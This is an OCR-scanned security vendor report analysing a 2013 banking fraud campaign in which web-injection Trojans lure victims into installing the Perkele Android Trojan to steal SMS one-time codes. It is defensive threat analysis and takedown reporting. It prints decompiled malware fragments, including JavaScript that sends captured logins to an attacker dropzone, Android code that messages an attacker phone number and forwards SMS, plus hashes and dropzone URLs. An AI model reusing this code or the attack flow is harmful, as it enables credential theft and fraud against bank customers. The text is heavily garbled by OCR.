Versafe TotALL™ Online Fraud Protection

Protect users. From malware, threat types. On devices. transparently to the end-user.

Summary of Mobile Malware & Cross-Device Attacks

The attacker infects the victims’ computers with any of the variety of web injection-based Trojans (e.g.,
Zeus, Carberp, SpyEye), in order to employ the necessary JavaScript injections that communicate and drive
the victim to install the Perkele Trojan on his or her mobile device.

This then allows the attacker to seize the victim's TAN or multi-factor authentication code, thereby
enabling subsequent fraudulent transactions.

1. The Versafe WebSafe™ solution detected suspicious scripts being injected into the [CLIENT] web
application, from a number of devices across the user base.

2. Theinjections were attributed to a particular targeted mobile malware family, Perkele (related
to Zitmo), including discovery of several APK (Android) files targeting other institutions as well.

3. The infection points were genuine websites that had been hacked to host the malware payload.

4. The Versafe SOC immediately contacted the site owners, and had the threat removed, as well as
undertook shutdown of the involved dropzones (per agreed-upon business process).

Date Time Action
The Versafe SOC investigate suspicious scripts detected by the
XX.X.2013 18:00 WebSafe solution. The Malware Analysis team is updated about
reports of Trojan's malicious activity against [CLIENT] customers.
Further investigation concludes the suspicious scripts are related to
XX.X.2013 08:00 enabling download of the Perkele mobile malware, and the
associated APK files.

After contacting the website owner, the malicious code is removed

XX.X.2013  12:20 from the hacked site.

After contacting the files-hosting website, the malicious application

XXX.2013 2358 oot ed,
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VERSAFE SUMMARY OF MOBILE MALWARE ATTACKS

http://xxxxxx.fi/merirock/gut/sms.php (down)
http://yyyyyy.fi/merirock/gut/gate.php (down)
http://www.zzzzz.com/p170or7kun5hlbd7p36kgjliul3 (Down)
IP address of the dropzone: 178 XXX.XXX.XX

The following 10 stages begin with the user’s infected computer, ending with an automated transaction
executed from the attacker's server.

8.
9.

The bank’s
website
AN K

The attacker’s
dropzone

The victim’s

The user submits a request for the bank's webpage from his or her computer, which had been
previously infected by any of a variety of targeted web injection malware types.

The online banking page is sent to the user and opened by the web browser.

The Trojan on the user’s computer injects malicious code into the webpage, prompting the user
to enter his or her mobile information, including mobile number and OS type.

The user’s mobile information is sent to the attacker's dropzone, in which a PHP-based system
processes the information and documents the victim's information in the database.

The online banking page is then injected with another script, asking the user to scan a QR-code
with his or her mobile device in order to install an additional security mechanism.

The victim scans the code, initiating download of the Perkele (or similar) mobile malware code.

The Trojan on the victim's computer conducts an automated transaction using the user's
compromised credentials.

An SMS message with the TAN/OTP is sent to the victim's device.

The Perkele malware on the mobile device redirects the TAN/OTP to the attacker's server.

10. JavaScript running on the victim's computer receives the TAN/OTP and completes the transaction.
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VERSAFE SUMMARY OF MOBILE MALWARE ATTACKS

Stages 1-3:

e The attacker interacts with the user via web injection messaging, asking to enter his or her

mobile number, mobile device model and OS.

~ Online-Banking
Anmeldename ocder
Legitimations-ID:

FlIM:

User enters

direit zu: A information

- Bitte auswahlen - E|

Mit dem Absenden |hrer
Anmeldedaten efennen Sie die
Sicherheitshinweise an.

&) Anmelden

A JavaScript request is sent to the dropzone, returning the Trojan script:

Elements  Resources | Metwork | Sources  Timelne  Profies  Audits

Console
Name
Path Headers | Preview Response Timing
charts?DOWNLOAD_KEY=-1925692630 gl
;‘ frame Reguest URL: https://securepanel3s.com/php/get_cook.php?getparam=mcook&rnd=@.17882947 666844
Request Method: GET
T charts?DOWNLOAD_KEY=914759587 Status Code: @ 200 OK
_ sif-fran =| YReguestHeaders  view source
. = Accept: */*
‘ charts?DOWNLOAD_KEY=1472260729 Accept-Encoding: gzip,deflate,sdeh
if-frame Accept-Language: en-US,en;q=8.3
| s sz 71555 o et e
ifdata/70051540/IPSTANDARD/4/content/www/pixel/gsw_banner Referer: et/ /portal SN /o1, por-tal/ Star-tenTPSTANDARD
. | metanavi_weiter_button.gif User-Agent: Mozilla/5.@ (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27
2 ifdata/70051540/1PSTANDARD/4/content/www/pixel/basis ¥ Query String Parameters View source view URL encoded
getparam: mcook
j get_cook.php?getparam=mcook&rnd=0.1788294760044664 18 )SESSIONID=2717578121 rnd: 8.17882947680446641

JSESSIONID: 2717578121
| if5 anmelden.png S? b ¥ Recnonce Headars view <oures

Request for script

e The following is an example JavaScript injection: https://securepanel35.com/update/get.php?id=4

o Credential grabbing: Captures user's credentials, delivering them to the dropzone.
o HTML injection: Modification of the webpage, including additional messages and fields.
o ATS: Executes automated transactions from the compromised user's account.
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Domain information:

Registration Service Provided By: DOMATNCONTEXT INC.

Domain Name: SECUREPANEL3S.COM

Registration Date: 15-Jun-2013
Expiration Date: 19-Jun-2014

Status:LOCKED
Note: This Domain Name is currently Locked.
Thisz feature is provided to protect against fraudulent acgquisition of the domain nan
a5 in this status the domain name cannot be transferred or modified.

Name Servers:

nsl.mychildrenss.com
ns2 .mychildrenss.com

Registrant Contact Details: Pri .
N/L rivacy protection
ALEX KOTOV ( alexkotov3d@yandeiru )

The following links enable the Trojan to communicate with the dropzone:

var _gdatajson = 'undefined';

var 3cOF = "https://securepanel35.com/php/set cook.php':
var gclOF = "https://securepanel 3s. com/php/get cook.php' ;
var 3lcOF = 'https://securepanel3b.com/php/set login cook.php':
var dO0F = "https://securepanells.com/update/d0.php";

var pOF = "https://securepanel35.com/update,/p0.chp";

var 10F = 'https://securepanel3’.com/update/10.php";

var d00F = "https://securepanel3s.com/update,/d00.php" ;
var pO0F = "https://securepanel35.com/update/pl0.php";
var l00F = "https://securepanel35.com/update/100.php" ;
var kF = 'httpa://securepanel35.coln/captcha/captcha.php’

var END OF INFUT = -1:

]functian xor_encode (data) |

var res = '';
var result = '';
1 for (ii = 0; ii « data.length; ii++) |
result += data.charCodelt(ii) * 3:
1 if (ii '= data.length - 1) {
result += ', ";

Once the user submits his or her credentials, they are sent to the attacker's dropzone in clear text:

@ Headers | Preview Response Cookies Timing

Request URL: https://securepanel35.com/php/set_login_cook.php?loginid=THISISATEST&pwr=thisisatest
NDARD&getparam=mcook&rnd=8.47814471143484116&15E55I0NID=2717578121

Request Method: GET
Status Code: @ 208 0K
¥ Request Headers view source

Accepl; */%

. Attacker’s dropzone
Accept-Encoding: gzip,deflate,sdch p

Accept-Language: en-US,en;q=8.3 Log ofusername
Connection: keep-alive and password
Host: securepanel35.com
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Stages 4-6:
e Receipt of the customer’s mobile information triggers the infection process by displaying the user

with a QR code, which the customer is asked to scan in order to complete the security upgrade.

Hinweis:

Mus installisren. Die
chfithren.

¢ Haupt-Lavout Leider befindet sich [hr Telefon in der Risikogruppe. Sie miissen das Sicherheitszertifilcat auf dag
Prozedur ist notwendig, aber einmalig und nimmt mer 5 Minuten in Anspruch. Danach kénnen Sie sicher Opera

e Once the code is scanned by the user, the application is downloaded to his or her mobile device,
and installation of the mobile Trojan (Perkele or similar) commences.

,ﬂ Zertifikat ﬂ Zertifikat

Do you want to install this

application? It will get access to: Installing...

PRIVACY

a receive text messages (SMS)

send SMS messages
© this may cost you money

v.I; modify or delete the contents of
your SD card

DEVICE ACCESS

=¥ toct ancncc tn nratacted etarana

Cancel Next

1
APPS WIDGETS geben Sie das Passwort

|=| Passwort bestatigen

Zertifikat
Search Settings Speech

Recorder verbinden

|

Widget
Preview
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The mobile Trojan's details and detection ratio:

SHA256: ed5a814babbd5d9cde534e50aadd74476165b3ef9f97d5a563fb6a72e43fadf6
SHA1: 135e15b1d03efe08ecb7ee3ae127d808cbfabe9d

MD5: 1e988cd40ef83e73a8bee66040159c8c

File size: 65.7 KB ( 67285 bytes )

File name: wokskxEx apk

Detection ratio: 5/ 46 (results by Virustotal)

Stages 7-8:
e Upon being launched, the application sends an SMS message to the attacker, at phone number
+447937281670, with the message “Hallo”, "Ya Tut", or similar.

Iprotected void onCreate (Bundle paramBundleﬂ
{

super.onCreate (paramBundle) ;

setContentView (2130503040);

((Button) findViewById(2131165187)) .setOnClickListener (this);

SharedPreferences localSharedPreferences = getsharedPreferences("my_settings“, 0);

if (!localSharedPreferences.getBoolean("hasVisited", false))

{

ISmsManager.getDefault().sendTextMessage(“+447937281670", null, "Hallo", null, null)ﬂ
SharedPreferences.Editor localEditor = localSharedPreferences.edit();
localEditor.putBoolean("hasVisited", true);
localEditor.commit () ;

}

if (localSharedPreferences.getBoolean("hasTrue", false))
setContentView (2130503041);

e The application compares the password and password verification fields, prior to sending any data
to the dropzone. If the values match, a new window with a picture of the code is shown.

UW ACTIVATIE CODE:

# 2377834599

if (strl.equals(str2)) | :
: Password comparison

setContentView(2130503041)

alEditor = getSharedPreferences("my_ settings", 0).edit();
localEditor.putBoolean ("hasTru
localEditor.commit () ;

return;

Switch to confirmation
code window
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The user is then asked to enter it in the website:

Altivierungscode

The Trojan completes the process by displaying a message on the user’s computer, informing of
a successful completion of the “security” upgrade, and that the user can proceed with his or her
online banking session.

Stage 9:

e Once the application is installed on the device, each incoming SMS message is scanned by the
Perkele (Zitmo, or similar) mobile Trojan. When the user receives an SMS message with the
format "random&&time", the malicious application saves the time parameter and time range,
delivering the incoming SMS messages to the attacker, unbeknownst to the victim.

public static final String NUMBER = "+44/393728167/0";
private final String[] BLACK LIST = { "" };
private final boolean MNOT_RCCEPT_ALL MESSAGE = true;
private final boolean USE_BLACE_LIST = false;
private final boolean USE_NUMBER = true;
private String mBody;
private String mSender;
private String mTimestamp;
public Sms (String paramStringl, String paramString2, long paramLong)
{
this.mBody = paramStringl;
this.mSender = paramString2;
this.mTimestamp = new SimpleDateFormat ("dd/MM/yyyy HH:mm:==").format (Long.valueOf (paramLong)) ;
l-
[cublic String createMessage ()
{
return this.mSender + " " + this.mBody + " " + this.mTimestamp;
In order to stop this message forwarding procedure, the attacker sends the following SMS
message ("DELETE") to the user's mobile device.
if ("@DELETE".equals(localSmsMessage.getMessageBody()))
1
localEditor.putBoolean("gwerty", true);
localEditor.commit () ;
abortBroadcast () ;
String[] arrayOfString = localSmsMessage.getMessageBody () .split("&&");
Stage 10:
e The JavaScript running on the victim's computer receives the TAN/OTP and completes the

transaction. The TAN is pulled from storage by the computer-based Trojan, which in turn sends
it to the bank to complete the illicit transfer of money out of a bank customer’s account and into
the attacker’s “mule” account.
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Once the Versafe SOC had contacted the relevant website owners, the malicious website scripts
and files were removed. The page of the malicious script after shutdown:

m o 2D
& C' [ rockstone fi/meriro t/sms.php L =

Forbidden

You don't have permission to access fetirock/gut/sms php on this server.

Apache/2.0.64 (Unix) mod_ssl'2.0.64 OpenSSL/0.9.8r Server at rockstone.fi Port §0

The page of the malicious APK file in the files-hosting after removal:
Droid Bin » . e - - ) - » d i ] L e ™=

&« C [ www.droidbin.com/pl170r7kunShibd7p36ke

\ Hello guest!

Droid Bin

HOME FAQ PREMIUM ACCOUNTS TERMS PRIVACY USE POLICY REPORT FILE CONTACT

That's a 404
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